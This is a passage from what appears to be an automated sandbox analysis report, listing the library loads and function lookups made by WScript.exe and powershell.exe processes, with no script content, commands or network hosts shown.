parameter advapi32.dll (UID: 00000000-00007016) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00007016) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00007016) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00007016) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00007016) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00007016) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00007016) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00007016) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00007016) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll (UID: 00000000-00007016) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00007016) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll (UID: 00000000-00007016) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00007016) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00007016) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll (UID: 00000000-00007016) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00007016) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00007016) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00007016) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00007016) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf49f6405#\7b1f35fb0c2d6955ce5af2bd372c65f2\Microsoft.Management.Infrastr (UID: 00000000-00007016) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00007016) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\b221af81285c1305324612e6dc9c88ff\System.Management.ni.dll (UID: 00000000-00007016) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Data\7bed49c46de9295a8453db205c60a028\System.Data.ni.dll (UID: 00000000-00007016) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00007016) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Dired13b18a9#\8ad4c0af5b3d51a0f3a4dac0d44d85d4\System.DirectoryServices.ni.d (UID: 00000000-00007016) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\5ee35debfc22f727e70e4479ddcbc045\System.Xml.ni.dll (UID: 00000000-00007016) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00007016) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Numerics\86cfd69ce1261baf4740e7606cade014\System.Numerics.ni.dll (UID: 00000000-00007016) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll (UID: 00000000-00007016) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00007016) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00007016) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00007016) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P6f792626#\7ff5199e757cb8af9ad949453f698d09\Microsoft.PowerShell.Security (UID: 00000000-00007016) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Transactions\604272b0faec2e09d53d38e03bc89c6c\System.Transactions.ni.dll (UID: 00000000-00007016) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\4beb1eeca20b27d4bd1bb9880f03cc2a\System.Configuration.ni.dll (UID: 00000000-00007016) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00007016) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00007016) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00007016) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00007016) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00007016) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll (UID: 00000000-00007016) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00007016) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MPCLIENT.DLL (UID: 00000000-00007016) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MsMpLics.dll (UID: 00000000-00007016) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00007016) "powershell.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00007016) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00007016) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00007016) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00007016) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\urlmon.dll (UID: 00000000-00007016) "powershell.exe" called "LoadLibrary" with a parameter urlmon.dll (UID: 00000000-00007016) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P521220ea#\df7d947a99cbcfaa726b127726f05476\Microsoft.PowerShell.Commands (UID: 00000000-00007016) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Confe64a9051#\120a0532577f871c2415502d9edacdd6\System.Configuration.Install. (UID: 00000000-00007016) "powershell.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00007016) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00007016) "powershell.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00007016) "powershell.exe" called "LoadLibrary" with a parameter advapi32 (UID: 00000000-00007016) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pae3498d9#\d922445a828b30938c72d375a3b34a60\Microsoft.PowerShell.Commands (UID: 00000000-00007016) "powershell.exe" called "LoadLibrary" with a parameter oleaut32 (UID: 00000000-00007016) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.V9921e851#\fb4ba4db52ca77687f807bb068871ec2\Microsoft.VisualBasic.ni.dll (UID: 00000000-00007016)32:Tcb9e,"WScript.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00006868) "WScript.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00006868) "WScript.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00006868) "WScript.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00006868) "WScript.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00006868) "WScript.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00006868) "WScript.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00006868) "WScript.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00006868) "WScript.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00006868) "WScript.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00006868) "WScript.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00006868) "WScript.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00006868) "WScript.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00006868) "WScript.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00006868) "WScript.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00006868) "WScript.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00006868) "WScript.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00006868) "WScript.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00006868) "WScript.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00006868) "WScript.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00006868) "WScript.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00006868) "WScript.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00006868) "WScript.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00006868) "WScript.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00006868) "WScript.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00006868) "WScript.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00006868) "WScript.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00006868) "WScript.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00006868) "WScript.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00006868) "WScript.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00006868) "WScript.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00006868) "WScript.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00006868) "WScript.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00006868) "WScript.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00006868) "WScript.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00006868) "WScript.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00006868) "WScript.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00006868) "WScript.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00006868) "WScript.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00006868) "WScript.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00006868) "WScript.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00006868) "WScript.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00006868) "WScript.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00006868) "WScript.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00006868) "WScript.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00006868) "WScript.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00006868) "WScript.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00006868) "WScript.exe" called "GetProcAddress" with a parameter HeapSetInformation (UID: 00000000-00006868) "WScript.exe" called "GetProcAddress" with a parameter QueryProtectedPolicy (UID: 00000000-00006868) "WScript.exe" called "GetProcAddress" with a parameter AmsiInitialize (UID: 00000000-00006868) "WScript.exe" called "GetProcAddress" with a parameter AmsiScanString (UID: 00000000-00006868) "WScript.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeExW (UID: 00000000-00006868) "WScript.exe" called "GetProcAddress" with a parameter GetFileVersionInfoExW (UID: 00000000-00006868) "WScript.exe" called "GetProcAddress" with a parameter VerQueryValueW (UID: 00000000-00006868) "WScript.exe" called "GetProcAddress" with a parameter WldpGetLockdownPolicy (UID: 00000000-00006868) "WScript.exe" called "GetProcAddress" with a parameter WldpIsClassInApprovedList (UID: 00000000-00006868) "WScript.exe" called "GetProcAddress" with a parameter SaferIdentifyLevel (UID: 00000000-00006868) "WScript.exe" called "GetProcAddress" with a parameter SaferComputeTokenFromLevel (UID: 00000000-00006868) "WScript.exe" called "GetProcAddress" with a parameter SaferCloseLevel (UID: 00000000-00006868) "WScript.exe" called "GetProcAddress" with a parameter CoInitialize (UID: 00000000-00006868) "WScript.exe" called "GetProcAddress" with a parameter StgOpenStorage (UID: 00000000-00006868) "WScript.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00006868) "WScript.exe" called "GetProcAddress" with a parameter MpManagerOpen (UID: 00000000-00006868) "WScript.exe" called "GetProcAddress" with a parameter MpHandleClose (UID: 00000000-00006868) "WScript.exe" called "GetProcAddress" with a parameter MpFreeMemory (UID: 00000000-00006868) "WScript.exe" called "GetProcAddress" with a parameter MpScanStart (UID: 00000000-00006868) "WScript.exe" called "GetProcAddress" with a parameter MpMemoryScanStart (UID: 00000000-00006868) "WScript.exe" called "GetProcAddress" with a parameter MpScanResult (UID: 00000000-00006868) "WScript.exe" called "GetProcAddress" with a parameter MpThreatOpen (UID: 00000000-00006868) "WScript.exe" called "GetProcAddress" with a parameter MpThreatEnumerate (UID: 00000000-00006868) "WScript.exe" called "GetProcAddress" with a parameter MpConfigOpen (UID: 00000000-00006868) "WScript.exe" called "GetProcAddress" with a parameter MpConfigGetValue (UID: 00000000-00006868) "WScript.exe" called "GetProcAddress" with a parameter MpConfigGetValueAlloc (UID: 00000000-00006868) "WScript.exe" called "GetProcAddress" with a parameter MpConfigClose (UID: 00000000-00006868) "WScript.exe" called "GetProcAddress" with a parameter MpFastMemoryScanOpen (UID: 00000000-00006868) "WScript.exe" called "GetProcAddress" with a parameter MpFastMemoryScan (UID: 00000000-00006868) "WScript.exe" called "GetProcAddress" with a parameter MpTelemetryInitialize (UID: 00000000-00006868) "WScript.exe" called "GetProcAddress" with a parameter MpTelemetryUninitialize (UID: 00000000-00006868) "WScript.exe" called "GetProcAddress" with a parameter MpTelemetryAddToAverageDWORD (UID: 00000000-00006868) "WScript.exe" called "GetProcAddress" with a parameter MpAmsiScan (UID: 00000000-00006868) "WScript.exe" called "GetProcAddress" with a parameter MpAmsiCloseSession (UID: 00000000-00006868) "WScript.exe" called "GetProcAddress" with a parameter MpConfigRegisterForNotifications (UID: 00000000-00006868) "WScript.exe" called "GetProcAddress" with a parameter MpConfigUnregisterNotifications (UID: 00000000-00006868) "WScript.exe" called "GetProcAddress" with a parameter MpClientUtilExportFunctions (UID: 00000000-00006868) "WScript.exe" called "GetProcAddress" with a parameter MpManagerVersionQuery (UID: 00000000-00006868) "WScript.exe" called "GetProcAddress" with a parameter EventWrite (UID: 00000000-00006868) "WScript.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00006868) "WScript.exe" called "GetProcAddress" with a parameter EventUnregister (UID: 00000000-00006868) "WScript.exe" called "GetProcAddress" with a parameter IsWow64Process (UID: 00000000-00006868) "WScript.exe" called "GetProcAddress" with a parameter RegisterGPNotification (UID: 00000000-00006868) "WScript.exe" called "GetProcAddress" with a parameter EventWriteTransfer (UID: 00000000-00006868) "WScript.exe" called "GetProcAddress" with a parameter EventSetInformation (UID: 00000000-00006868) "WScript.exe" called "GetProcAddress" with a parameter UnregisterGPNotification (UID: 00000000-00006868) "WScript.exe" called "GetProcAddress" with a parameter SwitchToThread (UID: 00000000-00006868) "WScript.exe" called "GetProcAddress" with a parameter TryEnterCriticalSection (UID: 00000000-00006868) "WScript.exe" called "GetProcAddress" with a parameter SetCriticalSectionSpinCount (UID: 00000000-00006868) "WScript.exe" called "GetProcAddress" with a parameter ShellExecuteExW (UID: 00000000-00006868) "WScript.exe" called "GetProcAddress" with a parameter AmsiUninitialize (UID: 00000000-00006868) "powershell.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter RegOpenKeyExW (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter RegQueryInfoKeyW (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter RegEnumKeyExW (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter RegEnumValueW (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter RegQueryValueExW (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter AddDllDirectory (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter EventSetInformation (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter RegisterShimImplCallback (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter RegisterShimImplCleanupCallback (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter SetShellShimInstance (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter OnShimDllMainCalled (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter CorBindToRuntimeEx_RetAddr (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter CorBindToRuntimeEx (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter UrlIsW (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter AppPolicyGetClrCompat (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackageInfo (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackagePath (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessToken (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter GetTokenInformation (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeW (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoW (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter VerQueryValueW (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter SetRuntimeInfo (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter GetProcessWindowStation (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter GetUserObjectInformationW (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter DllGetClassObjectInternal (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter QuirkIsEnabled3 (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter QuirkGetData2 (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter CreateConfigStream (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter CreateConfigStream_RetAddr (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter GetNumaHighestNodeNumber (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter RtlVirtualUnwind (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter GetSystemWindowsDirectoryW (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter AllocateAndInitializeSid (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter InitializeAcl (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter AddAccessAllowedAce (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter FreeSid (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter RoInitialize (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter AddSIDToBoundaryDescriptor (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter CreateBoundaryDescriptorW (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter CreatePrivateNamespaceW (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter OpenPrivateNamespaceW (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter DeleteBoundaryDescriptor (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter WerRegisterRuntimeExceptionModule (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter RaiseException (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter RoUninitialize (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter CoGetContextToken (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap_RetAddr (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter SetSystemFileCacheSize (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter NtSetSystemInformation (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter PrivIsDllSynchronizationHeld (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter SysStringByteLen (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter LocaleNameToLCID (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter RoGetActivationFactory (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter WindowsCreateStringReference (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter WindowsDeleteString (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter WindowsCreateString (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter NtQueryInformationThread (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter NtQuerySystemInformation (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter CreateWaitableTimerExW (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter SetWaitableTimerEx (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter EventActivityIdControl (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter EventWriteTransfer (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter RegOpenKeyEx (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleName (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter LCIDToLocaleName (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter GetUserPreferredUILanguages (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter ResolveLocaleName (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter CompareStringOrdinal (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter GetFullPathName (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter GetFullPathNameW (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter SetThreadErrorMode (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesEx (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesExW (UID: 00000000-00007016) "powershell.exe" called "GetProcAddress" with a parameter LocalFree (UID: 00000000-00007016) "powershell.exe" called 